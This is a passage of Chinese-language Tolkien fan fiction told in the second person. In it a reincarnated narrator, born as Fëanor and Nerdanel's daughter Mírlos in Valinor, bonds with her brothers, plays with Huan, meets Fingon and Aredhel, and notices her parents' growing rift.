从语调来判断就知道他们更加希望你是个妹妹,费艾诺无奈地叫了一声他们两个的名字,“阿姆罗德,阿姆拉斯你们两个应该在外面安静等候的。” “是他想要先一步进来看看我们的——”阿姆罗德对着奈丹尼尔眨巴眨巴眼睛,后者靠在床头说:“是妹妹。” 阿姆罗德当即欢呼一声,“好耶是个妹妹,我们也有妹妹了!”要知道诺多王室的第二家族还有第三家族都有妹妹,唯独他们第一家族没有,现在总算是补上了这一份空缺,阿姆拉斯拉住哥哥阿姆罗德的胳膊,示意他安静一点,别吓到了你,但是没想到你面对这两个双生子哥哥却很淡定,甚至都没再哭泣了。 在场的精灵无论是奈丹尼尔还是费艾诺都说:“看来她很喜欢你们,你们一来她都不哭了。” 什么?这两者之间存在着什么必然的联系吗?你不由地对他们的联想能力感到惊讶,你不哭了完全是因为奈丹尼尔和费艾诺都确认你是个健康的精灵,和这两个红发精灵没什么关系。 但很可惜,阿姆罗德和阿姆拉斯当真了,而且还凑到你面前,“真的吗?你那么喜欢我们吗?” 你平静地注视着他们两个,好在他们虽然也对你很好奇,但是也不会指望从一个刚刚出生的婴儿嘴里听到什么回答,因此他们只是伸出手触碰你的脸颊,动作很轻柔,如同柔软的羽毛掠过你的脸颊,几乎没有什么触感。 随后进入房间的是奈丹尼尔的其他儿子,得要感谢这个房间足够大,可以容纳那么多的精灵也不会显得拥挤,奈丹尼尔的其他儿子明显比阿姆罗德还有阿姆拉斯的年纪更大一些,但是性格上倒没有多成熟,尤其是凯勒巩更是抱着你和你大眼瞪大眼的,嘴里还在念叨着你的精灵名弥尔洛斯,看他那副碎碎念的样子你都觉得陌生。 一直听他那么念叨你的名字你都有些不耐烦了,于是你又象征性地哭了两声,这可把凯勒巩吓了一跳,他怎么也没想到自己会弄哭你,一看你哭了阿姆罗德和阿姆拉斯就在旁边嚷嚷着,“提耶科莫你把她弄哭了!” 凯勒巩紧张地拍着你的后背,绞尽脑汁思索着母亲奈丹尼尔以及兄长迈兹洛斯为他唱过的摇篮曲,但是都不奏效,因为他一紧张就开始跑调,对于精灵来说唱歌跑调是非常少见的事情,所以足以见得现在的凯勒巩有多紧张了,他的摇篮曲唱到一半,迈兹洛斯实在是看不下去了,他说:“还是让我来吧,你的摇篮曲唱得七零八碎的。” 平常最听不得批评的凯勒巩这次反常地虚心接受迈兹洛斯的说教,他老老实实地把你交给迈兹洛斯,当你被迈兹洛斯抱着的时候你感觉到了些许的疲惫,你现在只想自己好好休息,而不是被一群诺多精灵围着当成什么奇珍异宝一样围观。 你真没想到迈兹洛斯居然还会唱摇篮曲,而且还唱得那么动听,再加上你本就有些疲惫了,在不知不觉间你又睡了过去。 “啊——弥尔洛斯睡着了!”阿姆罗德惊讶道,玛格洛尔拍拍阿姆罗德的肩膀让他安静一些免得吵醒你。 这些个精灵都不约而同地用柔和而温暖的眼神注视着你,很快地,第一家族又多添了一位女性费诺里安的消息就传遍了整个维林诺,芬巩得知这个消息的时候正在和迈兹洛斯在森林里寻找橡木,迈兹洛斯想要为你制作一些玩具,金属质地的玩具担心会伤害到你,思来想去还是木质的玩具更加适合一些,但他的标准太高了,他们走遍整个森林都没找到让他满意的橡木。 芬巩走在迈兹洛斯身边,他一边和迈兹洛斯一同寻找那合适的橡木,一边说:“她长什么样?”他会那么问也不奇怪,毕竟奈丹尼尔和费艾诺都太保护你了,以至于除了你的兄弟还有你的祖父以及几位维拉都没有别的精灵见过你,芬巩对这位唯一的女性费诺里安也感到前所未有的好奇。 “黑发黑瞳,长得和父亲很像,就是不知道性格如何。”但无论你的性格怎样,有一点可以肯定的是迈兹洛斯依旧会爱你。 芬巩说:“那这样一来你也有妹妹了,至少不用再羡慕我们了。” 迈兹洛斯撇撇嘴,他本来就没有多羡慕,好吧,就是稍微有点羡慕,仅此而已。 他得承认,芬巩确实说对了一部分。 “这棵橡木树不错。”迈兹洛斯站在一棵橡木树下,他抬头仰望这颗咳高大的树木,一下子就确定这是他在寻找的那棵树。 迈兹洛斯的动 手能力很强,这一点也是遗传了他的父亲费艾诺,再加上还有芬巩的帮助,从砍下这棵树到将其制作为你的玩具,只花费了大半天的时间。 芬巩帮着把玩具的毛刺磨干净,在此期间他有意无意地问道自己能否见你一面,迈兹洛斯扛起玩具,那是一个结构结实的阶梯架子,等过些时日,你能够走路了,一定会喜欢这个玩具的。 “抱歉,这不是我能决定的事情,不过我想你日后肯定能见到她的。”迈兹洛斯说。 芬巩叹了一口气,语气有些幽怨,“亏我还帮了你那么多呢。” 迈兹洛斯拍了拍芬巩的肩膀,“作为感谢,我会告诉弥尔洛斯她有一位心地善良的堂兄的。” 不是……这算什么回报啊? 芬巩一听就知道对方是在开玩笑,但是他也没办法和对方较真,只能笑着摇摇头,“那还是算了吧。” 等你初次见到迈兹洛斯送给你的那个玩具已经是几个月以后的事情了,精灵的成长速度往往比人类要更快一些才几个月的时间,你不仅学会了走路,而且预言系统也发展得很完善。 这还得要感谢一天要来看你不下十遍的各位哥哥,尤其是凯勒巩可能是因为和你的初次见面留下了不太好的印象,所以他经常往你这边跑,试图改变自己在你心目中的形象。 但实际上他来的次数越多,你只会觉得这精灵可真是倔脾气,好在他在你面前还会收敛自己的急躁脾气,尽可能扮演出一副好哥哥的样子,要不是你见过他以前暴脾气的样子,可能还真的会被他骗到吧。 “弥尔洛斯,你最要好的哥哥是哪一个呢?”这天凯勒巩又在问这些有的没得的问题,而你的反应也很简单,那就是装作没听见,毕竟如果回答是他的话,那按照他的性格必然会在其他费诺里安面前显摆。 到时候其他的费诺里安都来计较这件事情,只会影响你平静的生活。 可是因为你装了太多次没听见他的问题,现在凯勒巩都琢磨出来了,你不想回答他的问题,就会直接装作没听见,他嘟哝一声,“唉,看来我该走了。” 闻言,你赶忙站起身去开门,凯勒巩顿时嚷嚷起来,“你不是能听到我说话吗?刚才为什么装作没听见呢?” 会和小孩子计较那么多,估计也就只有凯勒巩了,你简洁地回答道:“因为很麻烦。” 100-110 第101章 第101章“原来你在这里啊。”…… 闻言,凯勒巩尽可能让自己表现得没有那么斤斤计较,但他还是忍不住追问:“这样的问题真的很麻烦吗?”要是库茹芬在场的话肯定会说凯勒巩又在钻牛角尖了,但是很可惜他不在场。 “因为你们我都很喜欢。”为了避免再产生更多的问题,你索性给出一个非常端水的回答,这才让凯勒巩的表情变得缓和,他说:“原来是这样啊……” 你走回到自己的坐垫旁边,你的手边放着几本书,都是和锻造有关的书籍,地毯上散落着你的哥哥还有父亲亲手为你制作的各种手工玩具,做工都很精致,但比起玩具你还是更加喜欢看书,遇到不懂的问题你还会去询问凯勒巩,而凯勒巩也充满耐心地回答,他对待自己的亲人从来不缺耐心。 书看到一半,你就听见门外传来的动静,你看向门口,门被打开,站在门口的是费艾诺,他的神色还有些阴郁,这或许和他前不久在会议上和他的半兄弟芬国昐发生争吵有关,但他那阴郁的神色在你看过来的时候顿时收敛起来,他弯下腰对你张开双臂,亲昵地呼唤着你的名字,“弥尔洛斯,到我身边来。” 费诺里安兄弟你在这个副本之前都有接触过,但是他们的父亲费艾诺你对他的了解不算多,仅仅从精灵记载的历史中看到过关于他的记录,因为编著此书的精灵对诺多王室第一家族,尤其是费艾诺不算多友好,所以关于那段历史的描述字里行间都透露出自己的情绪,在那本书里的费艾诺狂妄自大,不听从任何精灵的建议,被愤怒冲昏头脑一意孤行,这也造就了精灵历史上的许多灾难。 但在书中被描述为狂妄精灵的费艾诺,此时此刻在你面前也不过是一位和善的精灵,至少表面上看起来是和善的,你听从他的话语站起身走到他身边,然后被他抱在怀里,他笑着将自己的侧脸贴着你的侧脸,“这么美好的午后时光你就要浪费在房间里了吗?” 凯勒巩提议道:“那就去外面吧,正好我也打算带着胡安去散散步。”凯勒巩提到的胡安是维拉欧洛米送给他的神犬,无比忠诚勇敢,让你非常羡慕,你在期待日后维拉是否也会送你类似的礼物,如果他们没送的话那你就只能直接开口索要了,反正你想维拉应该也不会当面拒绝你的。 费艾诺带着你还有凯勒巩去往提力安附近的宽阔草地,等费艾诺站定脚步他这才把你放回到地面,凯勒巩热情地往你手里塞了一个飞盘,“把飞盘扔出去吧,胡安会接住的。” 听他那么说,你用尽自己最大的力气把飞盘给扔了出去,在飞盘脱离你的手的那一刻,胡安就如同离弦的箭蹿了出去,跳跃起来一嘴叼住那个飞在半空中的飞盘,那动作干脆利落,而后又轻巧地落地,折返回到你身边,把飞盘递到你的手里。 你再次重复一开始的丢飞盘动作,全程费艾诺都陪伴在你身边,他的注视倒是不会让你觉得厌烦,因为你也知道他对你没有恶意,只是在那么儿子之后终于有一个女儿的心情你也能够理解,毕竟你曾经生活过的世界里就经常存在为了追生儿子而生了一连串女儿的情况,只不过现在的情况翻转过来了而已。 后来你觉得这样的玩法有些无趣了,胡安就又用鼻子拱你的手,示意你坐在它的背上,凯勒巩也向你保证胡安不会伤害你的,你倒是不觉得胡安会伤害你,只是在此之前你都没尝试过坐在狗背上,诺多精 灵也不会觉得放任一个才一岁多的孩子骑在神犬背上到处乱跑有什么危险的。 胡安伏低自己的身体以此来方便你爬到他的背上,你顺利地坐在它的背上,稳住重心,等你一切准备就绪你便抚摸了一下胡安的脑袋并对它说:“我准备好啦。” 话音落下,胡安这才朝着远方跑去,它跑步的速度和它平常相比较可以用缓慢来形容,那是因为它担心你一开始不能适应,但到后来你对此适应良好,甚至还能笑着催它跑得再快一些,胡安满足你的要求,背着你跑得越来越快。 起初费艾诺和凯勒巩还能看见你和胡安的身影,但是在某个瞬间,你和它的身影就消失不见,费艾诺不免有些担心,“弥尔洛斯和胡安呢?” 这下子凯勒巩也开始着急起来,他急急忙忙地在这周围寻找你和胡安,并且持续不断地呼唤你的名字,“弥尔洛斯——弥尔洛斯——!” 事实证明你确实遇到了麻烦,但不算特别棘手的麻烦,你和胡安玩得太高兴,误入了另外一片区域,好像是其他精灵的领地,至于是哪位精灵那你就不清楚了,带你来到这里的胡安也意识到你们跑得太远了,它正想着变换方向再次带你回去,但是还没等它调头,一道陌生的声音就在你耳边响起,“你是谁?” 你顺着声源看过去,那是一位黑发精灵,长相俊美,气质温和,身穿浅蓝色长袍,看向你的眼神里满是好奇,还没等你回答,他自己就得出了答案,很笃定地说:“我知道了,你是迈兹洛斯的妹妹对吗?” 看来这位精灵认识你的大哥迈兹洛斯?你没有从胡安背上下来,但是看胡安的态度,这位陌生精灵应该对你也没有恶意,你礼貌地对着他点点头,“是的,我叫弥尔洛斯,您是……?” 那位精灵愣了一下,小声碎碎念,“他不是说了会在妹妹面前多提到我的吗?”看样子他是被迈兹洛斯给骗了。 “我是芬巩,芬国昐之子。”芬巩笑着自我介绍,他仔细地观察着你,发现你和迈兹洛斯说的那样与父亲费艾诺极为相似,但是你的容貌没有父亲那么锐利,可能是因为你的眉眼继承了母亲奈丹尼尔的柔和。 你惊讶于芬巩在维林诺和在中土的差别,有时候经历足以改变一个精灵,你缓慢地眨了一下眼睛,毕竟你在第一个副本见到芬巩的时候他已经跟随父亲芬国昐穿过冰川,历经千辛万苦,可是此刻在你面前的他仍旧是不谙世事天真纯粹的精灵王子。 “芬巩大人您好。”说着,你从胡安的背上下来,在此期间芬巩也走到你面前,他半跪在你面前试图与你目光平视,他说:“上次你的哥哥迈兹洛斯送你的礼物你还喜欢吗?” 迈兹洛斯送你的礼物可真不少,一时之间你都不知道他在说哪一件礼物,你问道:“您说的是哪一件礼物?” 经过芬巩的描述你想起来了那件礼物,就是那件看上去和大型猫爬架差不多的礼物,虽然说是为了锻炼你的行动能力,但因为造型实在是和猫爬架有些像,所以迈兹洛斯在送给你以后你都没怎么玩过,就任凭它在房间的一角落灰。 虽然心里是那么想的,但你考虑到这件礼物是芬巩和迈兹洛斯合力完成的,所以你还是很给面子地说:“这件礼物我当然很喜欢。” 你和芬巩聊天聊到一半凯勒巩这才找过来,看见你没事他终于松了一口气,要是你受伤了估计他还得挨父亲费艾诺的一顿批评呢,他说:“原来你在这里啊。” 你回过头,其实听那声音你就知道是凯勒巩,他看见你身边还有另外一个精灵,而且还是大哥迈兹洛斯的好友芬巩,他说:“父亲应该也快找到这里来了,我们回去吧。” 这句话并不完全是说给你听的,前半句同样也是说给芬巩听的,毕竟前不久费艾诺还和芬国昐起了争执,眼下再碰见芬国昐的孩子估计是不会对他有什么好脸色的,芬巩也听出凯勒巩的弦外之音,他感谢地对着凯勒巩点点头,而后转身离开。 回去的路上凯勒巩还在教育胡安,嘱咐它下次可不能带着你还跑那么快了,听着听着你看见胡安的尾巴都下垂了,你就说:“您别再训斥它了,它也是为了让我开心才那么做的。” 凯勒巩顿了顿,“但我很害怕出现什么意外,毕竟你……”你的到来使得他们的双亲原本有些僵硬的关系也得到缓和,他很难想象如果没了你,费艾诺和奈丹尼尔之间肯定又会出现矛盾,尽管他也知道这些矛盾并没有消失,只不过是隐藏起来了而已,就如同藏在棉絮里的细针,不知何时会刺痛他们。 你伸出手摸了摸胡安的脑袋,它倒也不会因为凯勒巩的训斥而过分伤心,只是表现得有些失落而已,感受到你的触摸,胡安又抬起头,对你缓慢地眨了一下眼睛,身后的尾巴轻轻地摇晃起来。 当天晚上晚餐的时候迈兹洛斯还问你今天都做了什么,你总觉得比起费艾诺,他更像个称职的父亲,这大概就是所谓的长兄如父吧。 你如实回答他的问题,在说到下午跟着胡安一同玩耍的时候凯勒巩显然有些紧张,毕竟虽说父亲费艾诺让这件事情就这么过去了,但迈兹洛斯很可能还会追究起来,那到时候就很麻烦了,因此他在你回答的时候一个劲地给你使眼色,试图让你明白他的意思,你感受到他的目光,自然也知道他那么做是为什么。 因此你只是轻描淡写地将下午的事情一笔带过,反倒是坐在凯勒巩身边的卡兰希尔看见他一直在眨眼睛,他不解道:“你的眼睛有什么问题吗?” 库茹芬很了解自己的哥哥凯勒巩,一看就知道肯定是他做了什么亏心事,因此他笑着说:“他的眼睛肯定没问题的,是你多虑了。” 在晚餐结束以后你回到自己的房间,奈丹尼尔替你洗漱过后又为你挑选了一本故事书,等你躺在床上以后她才在你身边坐下,然后说:“我们上次讲到哪一个故事了?” “女神瓦尔妲的故事。”你说。 如果真的要说降生在维林诺有什么好处的话,能够直接接触到维拉那确实是个好处,但是你现在年纪太小,你的双亲和兄长也不会放任你离开他们的视线范围,但是没关系,你可以耐心等到自己成年以后,到那时候你想做什么都无需经过他们的同意。 表面上看你是在认真地听母亲奈丹尼尔讲述女神瓦尔妲的故事,但实际上你脑袋里想的都是如何说服维拉曼威带你去见伊露维塔,奈丹尼尔说到一半,她忽然打住这个故事,转而又说:“从刚才那个故事里弥尔洛斯你觉得有什么是值得我们学习的呢?” 好险,还好你分出一部分注意力来听这个故事,这个故事说的是瓦尔妲女神跟随伴侣曼威一同创建完善阿尔达世界的故事。 你说:“这个故事告诉我们,要寻找志同道合的伴侣。” 但据你所知维拉的伴侣是谁好像是一开始就由伊露维塔安排好的,也不存在什么自由选择这一说,毕竟维拉也是伊露维塔的造物。 奈丹尼尔在听见你说到“志同道合的伴侣”时她的笑容有些僵硬,她想起自己似乎与丈夫费艾诺渐行渐远,他们之间的爱是毋庸置疑的,但她有时会觉得对方的执着可能会给周围的精灵带来灾祸,尤其是与他最为亲近的精灵。 因此奈丹尼尔迟疑了几秒,又试探性地问道:“如果以后你要从母亲和父亲之中挑选一位一同生活,你会选择谁呢?” 你毕竟也不是什么小孩子,一下子就听出来奈丹尼尔的弦外之音,你不免有些惊讶,因为在你的印象里精灵之间的夫妻关系向来都很融洽,好像不存在离婚这一说,只存在丧偶这种情况。 你在内心权衡和奈丹尼尔又或者是和费艾诺一同生活的利弊,但这个问题太复杂了,你一时之间根本得不出答案来,你抬起头,看见奈丹尼尔哀伤的眼神,你下意识地探出手想要触碰她的脸,她配合地低下头,你的手指碰到她的侧脸,让你感到庆幸的是你并没有触碰到眼泪。 “我不明白。”怎么精灵夫妻之间也会存在这样的感情纠纷,你以为这种感情纠纷只存在于人类这一种族内呢。 奈丹尼尔没想着和你深入探讨这个问题,她只是继续接上没说完的故事,仿佛刚才问你的问题只不过是个无关紧要的小插曲,如果可以她也不想你面对这样的问题,只是她认为你在她身边由她亲自抚养长会更好一些,你的父亲费艾诺固然是爱你的,但她的理智告诉她任由你在费艾诺身边长大或许不是一个好选择。 她和费艾诺孕育了七个儿子,这些孩子在性格上或多或少都继承了费艾诺的一部分,但你不一样,奈丹尼尔在说完故事以后俯身抱住你,她柔顺的长发耷拉在你的肩头,她的身上带着淡淡的花香,那是因为她平日里时常去维拉雅凡娜的宫殿学习知识,因此身上也会不可避免地沾染一些草木特有的香味。 “弥 尔……我的小弥尔,我真希望你能够无忧无虑地长大。“她的声音在轻微的颤抖,这样的话语也曾经有谁对你说过,好像是伊缀尔,又好像是阿瑞蒂尔,她们总喜欢在拥抱着你的时候说这些话语,你丝毫不怀疑她们所说的话的真实性。 你伸出手回抱奈丹尼尔,“您明天还会再给我讲故事吗?” 奈丹尼尔一连说了好几个“当然”,她的手掌轻柔地抚摸你的头发,在你的额头上落下一个晚安吻,在你睡着后她才离开你的房间,但在她走后没多久你就又缓缓睁开眼睛,原来费艾诺和妻子奈丹尼尔的矛盾从这个时候就已经浮现出来了吗?越是到后期费艾诺就越发恃才傲物难以与其他精灵沟通,更别提听从其他精灵的建议了,唯一能劝说他的精灵大概就是他的父亲芬威了,而在芬威死后他更是一意孤行地要为父亲报仇。 总的来说你认为他确实是个极具才华的精灵,但是在性格方面可谓是一塌糊涂,而且从后面他要求自己的儿子与他一同立下关于精灵宝钻的誓言就不难看出他对后代的掌控欲,所以总的来说跟着他确实能学到不少东西,他也会对你倾囊相授,但风险和回报是成正比的,但是反观跟着母亲奈丹尼尔,那生活是肉眼可见的平淡祥和。 你借着月光看向漆黑的天花板,表情阴晴不定,这确实是一个难以抉择的问题,一时半会你也无法做出万全之策,你只能侧躺着先睡觉再说。 那天晚上和母亲奈丹尼尔的对话将你看似平静的生活撕开一道口子,使得你逐渐看清平静生活下的暗波涌动,你的父亲费艾诺也在某天旁敲侧击地询问你:“如果要让你与你的哥哥分开那该怎么办呢?” 他的这个问题问得很巧妙,没有一上来就直接询问你是否要跟他走,而是先抛出你的那几个哥哥作为铺垫,按理来说,你的哥哥平日里那么照顾你,你就算再怎么冷血也应该会记着他们的好的吧,费艾诺肯定就是考虑到了这一点所以才会那么问的。 但其实你对那几个哥哥说实话没有太多深厚的情谊,毕竟你早在这之前就已经认识他们了,而且也深知他们之后的命运轨迹。 “分开是指以后都无法再见面吗?”你总觉得他和奈丹尼尔的决定太一刀切了,而且为什么他就默认了自己那几个儿子也会无条件地追随自己呢? “也不算是,只是不能经常见面了而已。”费艾诺很耐心地向你解释道。 你手里拿着费艾诺为你打造的小刀,那做工比你见过的任何一个精灵打造武器的工艺还要精湛,难怪费艾诺可以那么骄傲,因为他的确拥有骄傲的底气。 “那他们知道这件事吗?”你没有回答而是反问他另外一个问题。 费艾诺还没考虑过这个问题,因为在他的印象里他的孩子就该无条件地追随自己,但你不一样,你是奈丹尼尔特意提出希望将你在身边抚养长大的孩子,而且你也是一位女精灵,因此费艾诺的内心也产生动摇,奈丹尼尔和他商讨这件事的时候下意识地流下眼泪,“我想你或许应该听一听你的其他孩子的想法。” “他们既然是我的孩子,那想必也能够理解我的想法。”费艾诺很肯定地说。 你低头把玩这把小刀,准确无误地说出打造这把小刀用到的工艺,然后缓慢地抬起头,“我说的对吗?” “是的。”费艾诺揉了揉你的头发,你确实有锻造方面的天赋,完美继承了他的才能,如果可以他也想将你带走的,只是奈丹尼尔那边…… 你察觉出费艾诺的犹豫和动摇,你说:“这样的生活我很喜欢,可以再让我多拥有几天吗?”你确实很喜欢现在的生活,最优秀的诺多精灵就在你身边还能成为你的老师,你的母亲奈丹尼尔也能传授你草木方面的知识,你可不希望他们这对夫妻过早地产生感情裂缝。 面对你的恳请,费艾诺仿佛在你身上看到了小时候的自己,他说:“可以……当然可以。”他抿抿唇,他想自己不应该那么着急的,不该那么急切地把你从自己的母亲身边带走的。 正如凯勒巩曾经在心里所想的那样,你的出现确实在一定程度上缓和了费艾诺和妻子奈丹尼尔的关系,使得原本都要浮出水面的矛盾又一次沉落。 迈兹洛斯身为兄弟里最年长的一个他自然是察觉到了父母之间的关系变化,但他的忧愁在你面前隐藏得很好,只是某次他在给你梳理头发(你已经明确表示自己不需要别的精灵帮忙梳理头发)的时候,你无意之间提到了这件事,好吧,其实也不是完全无意识的,你也有些想要看迈兹洛斯惊讶无措的神色,这会满足你的恶趣味。 第102章 第102章迈兹洛斯心虚地移开视…… 迈兹洛斯放下手中的木梳,他在组织语言,斟酌用词,尽可能说得委婉一些,而且想方设法地转移话题,他说:“我想他们也只是随口一提而已。” 没错,随口一提,开玩笑的,这是被滥用的理由,用来敷衍一个还在幼年的精灵再合适不过,前提是那个年幼的精灵如果是货真价实的年幼精灵的话。 不过让你感到庆幸的是他总算是放下木梳了,你用发带扎起自己的头发,倒也不是迈兹洛斯不擅长编头发,你就没见过不擅长编发的精灵,这都是精灵必学的技能了,你只是有些不习惯印象中的费艾诺长子坐在你身后慢条斯理地给你梳头发,这种感觉很微妙。 “但愿吧。”你轻描淡写地说,扎好头发你就从凳子上下来,然后走到门口,见迈兹洛斯没有跟上来,你就又回过头,不解地问道:“您不是说今天要向我介绍一位朋友吗?” “啊……是的。”迈兹洛斯提前和你说过今天的安排那就是带着你去见他的朋友,其实就是那位名叫芬巩的精灵,但是刚才的话题分散了他大部分的注意力,被你这么一提他才想起来,他也起身,心里还在思索如果你日后再次提起这个话题他又该如何回答你呢? 他不想让你伤心,更不想让你太早地接触到现实,尽管他早在很久以前就感知到了双亲之间出现的细微裂痕,当他发觉父亲费艾诺不再倾听母亲奈丹尼尔的建议后这道裂缝就变得愈发明显。 他们的父亲费艾诺是一位执着的精灵,他认定的事情几乎没有别的精灵能够改变,在此之前他还能采纳父亲芬威和妻子奈丹尼尔的建议,但是到现在,他和妻子奈丹尼尔的内心也渐行渐远。 迈兹洛斯牵起你的手,他低着头看你,“但无论如何,我和其他的费诺里安都是爱你的。” 你从来没有质疑过他们对你的爱,尽管很多时候他们的感情太过浓郁以至于成为你的负担,但总的来说你并不讨厌他们,毕竟他们各有所长,而且都乐意成为你的老师,你能从他们身上学到不少东西,所以你甚至得要感谢他们呢。 “我知道。”你摇晃了一下迈兹洛斯牵着你的手,后者终于露出笑容,他礼尚往来地反问:“那么你呢, 弥尔洛斯,你也应该是爱我们的对吗?” 这可不好说,你在心里回答,脸上的表情没什么变化,你的眼睛一眨不眨地注视着迈兹洛斯,过了几秒,你才说:“是的,我爱你们。”有时候别太较真,说些谎言也是无伤大雅的。 迈兹洛斯一笑,就愈发显得他的五官俊朗,“你这样走路太慢了,我抱着你过去吧——” 还没等你回答,他就自顾自地单手抱起你,你差点下意识就要揪住他那头火红的长发,还好你及时稳住重心,这才让他的头发逃过一劫,算他走运。 迈兹洛斯抱着你健步如飞,但你不会觉得颠簸,毕竟这可是带过六个弟弟的精灵,用经验丰富来形容都算谦虚了。 “您的朋友是谁?”在去的路上你这么问道,迈兹洛斯神秘兮兮地说:“等你见到了就知道了。”他现在还在给你卖关子,但你能猜到对方是谁,大概就是芬国昐之子芬巩了吧。 事实证明你的猜测是对的,对方为了见你还专门准备了礼物,是他亲手制作的玩偶,而且跟他一块来的不止他一个,你还看到了他身边的两道身影,正好奇地探头探脑看向这里,你认出来了,那是图尔巩还有阿瑞蒂尔,阿瑞蒂尔和图尔巩窃窃私语,“那就是迈兹洛斯的妹妹吗?看上去好可爱呀。” 图尔巩也小声回答:“是啊,就是不知道性格随了母亲还是父亲。” 阿瑞蒂尔想了想费艾诺和奈丹尼尔的性格,但愿是随了母亲奈丹尼尔吧,要是再多出一个费艾诺那样的精灵那可不好说。 伴随着你们的靠近,阿瑞蒂尔没有把那后半句话说出来免得被迈兹洛斯听见,迈兹洛斯走近后才说:“你怎么把你的弟弟妹妹也带来了?” 芬巩说:“这个就说来话长了……”起初他也想着独自来见迈兹洛斯的,但是也不知道图尔巩和阿瑞蒂尔是怎么得知这个消息的,而且还很自然而然地也跟了过来,总之,情况就变成了现在这个情况,芬巩无奈地摊手:“抱歉,我也不想这样的。” 迈兹洛斯很了解芬巩的性格,知道他绝对不是故意那么做的,他说:“没关系,你不用和我道歉。” 还生活在维林诺的精灵性格都较为平和,你几乎没从他们身上捕捉到日后在中土的他们会流露出来的戾气,不过也是,维林诺有维拉的庇护四季如春,简直如同仙境,生活在这里的精灵又能有什么烦恼呢?顶多就是自己种的花没能开,自己喜欢的精灵不喜欢自己这类小事情。 “所以……这位就是你的妹妹了吗?”阿瑞蒂尔直接进入正题,从迈兹洛斯在他们面前停下脚步开始她就一直在观察你,她的目光很柔和,不会让你感觉不悦,而且尤其是你看回去的时候她还会下意识地对你笑一下。 “是的,她可能有些怕生,我和她说过今天会带她来见一位朋友,但现在情况有变。”迈兹洛斯说着,他丝毫没有要放你回到地面的意思,可能是真的发自内心地觉得你怕生吧,尽管在你看来在场的精灵你都已经接触过了,而且阿瑞蒂尔可以说是你最喜欢的几个精灵之一。 “别害怕,弥尔洛斯,我是阿瑞蒂尔,芬巩的妹妹,希望我们能够成为朋友。”阿瑞蒂尔放缓语调,图尔巩补充道:“同时也是图尔巩的妹妹。” 阿瑞蒂尔好笑地瞥了一眼身边的图尔巩,无奈地笑着说:“是的没错,他也是我的哥哥,这一点从我们的外貌上应该也能看出来。” “阿瑞蒂尔你好。”你说,后者笑容灿烂,询问迈兹洛斯是否可以抱一抱你,后者不情不愿地说:“这你应该问她才对,我没有决定的权力。” 阿瑞蒂尔转而看向你,“弥尔洛斯我能抱抱你吗?” 你瞥见迈兹洛斯不赞同的表情,他虽然什么都没说,但他内心的想法可都挂在脸上,你很爽快地说:“当然可以。”闻言,迈兹洛斯的惊讶和阿瑞蒂尔的惊喜形成鲜明对比,你对着阿瑞蒂尔张开双手,她抱着你动作轻柔,你还能嗅到她身上的花草香味,虽然迈兹洛斯身上也会带着一股幽淡的香味,但你果然还是更喜欢阿瑞蒂尔。 迈兹洛斯还在旁边叮嘱阿瑞蒂尔,“你这样抱着她可能会有些难受。” 阿瑞蒂尔调整自己手臂的位置,然后又轻声询问你:“这样应该会好一点吧?” 你“嗯”了一声,其实对你来说都没什么差别。 迈兹洛斯还在观察着阿瑞蒂尔的动作,听见图尔巩笑着说:“看样子她们很合得来。”他的表情稍显阴沉,还是芬巩拍拍他的肩膀,“放宽心一点,你看你都已经带过那么多个弟弟了,我想弥尔洛斯应该也没有那么脆弱吧。” 不,他担心的可不是这个,但如果要将他真正担心的事情说出口,就又会显得他太过于斤斤计较,所以他只能先咽下这口气,闷闷地说:“我对她很放心。” 后来阿瑞蒂尔抱着你去往他们宫殿附近的果园玩耍,前面提到过维林诺气候适宜,因为有雅凡娜那样的维拉的存在,所以这片土地上的植物生长得都很旺盛,就连果树的枝头也都长满了果实,压得树枝都抬不起头来。 阿瑞蒂尔本来想着抱起你去摘果子的,但你拍拍她的胳膊示意她放你下来,“阿瑞蒂尔你已经抱我抱了很久了。” “抱歉,是让你感到不舒服了吗?” 那倒没有,只是你觉得自己有必要下地走一会儿,你指了指点缀在枝头的果实,“我想自己去摘果子。” “那……好吧,我会看着你的,一旦有什么危险我就会马上接住你的。”阿瑞蒂尔很认真地向你保证道。 你看了眼才几米高的果树,觉得她的担心都是多余的,你走到树底下,双手稍微一用力就往上爬去,精灵的体态轻盈,这很适合爬树,你都没费什么力气就爬到了其中一个树枝上,你的举动也引来其他几个精灵的围观,迈兹洛斯有些着急地想要催促你下来,但是被芬巩按住了,他说:“你还记得阿姆罗德和阿姆拉斯偷偷爬到塔顶的事情吗?” “记得啊。” “那不就好了,你那个时候是什么反应呢?”芬巩又反问道。 迈兹洛斯回忆了一下,他的反应也不能说是非常平淡,但也算不上多着急,他甚至还对当时正在聊天的芬巩说:“他们俩的胆子可真大。”除此之外就没别的了。 “而她现在只是爬一棵果树而已,而且还是在许多靠谱的成年精灵的围观下爬上去的,所以——放轻松一些。”芬巩说。 你摘下第一颗果实,同样也是你认为这棵树上最完美的一颗果子,你坐在枝头,叫了一声迈兹洛斯的名字,那颗果子和你的话音一同落下,迈兹洛斯抬手接住这颗果子,刚才还在担心你的迈兹洛斯转头就对身边的芬巩说:“她摘下的是这棵树上最漂亮的果实,而且还送给了我。” 芬巩能明白他想表达什么,他说:“是的没错,我也看见了,你的妹妹也很喜欢你。”这个回答显然让迈兹洛斯很满意,他的唇角上扬笑容灿烂。 当然你也没忘记在场的其他精灵,你一一送给他们红彤彤的果实,最后给自己留了一颗然后慢悠悠地从树上爬下来。 “你真厉害,能够独自爬上树而且还安然无恙地下来。”迈兹洛斯的夸奖真心实意,这反倒是让你感觉到了有些不好意思,他表现得是不是有些太夸张了点?而且你好像也没做什么惊天动地的大事情吧? 你被他一连串的夸奖搞得沉默了好几秒,而后才说:“我只是爬了个树而已。” “而且你还送了我这棵树上最漂亮的果实。”说着,他向你展示那颗苹果,你再度沉默,或许你刚才就不该给他这颗果子的。 好在这时候还有阿瑞蒂尔走到你身边,又问:“你要去看看天鹅吗?我想它们现在应该正好在湖面上嬉戏。” 太感谢阿瑞蒂尔了,你点了点头,主动握住她的手,虽然你对看天鹅梳理自己的毛发兴趣不大,但也总好过和迈兹洛斯尬聊。 你和阿瑞蒂尔走在前头,芬巩注视着你们俩的背影,“她们很合得来。” “这已经是你第二次那么说了,好吧,她们确实挺合得来的,但无论怎么说她也是一位费诺里安,这个事实是不会改变的。” 芬巩算是明白了,迈兹洛斯这是担心你被阿瑞蒂尔带走,他叹了一口气,“别太紧张,我想她应该不至于就这样忘了自己的哥哥,而且再说了,你难道希望她一直待在你身边吗?” 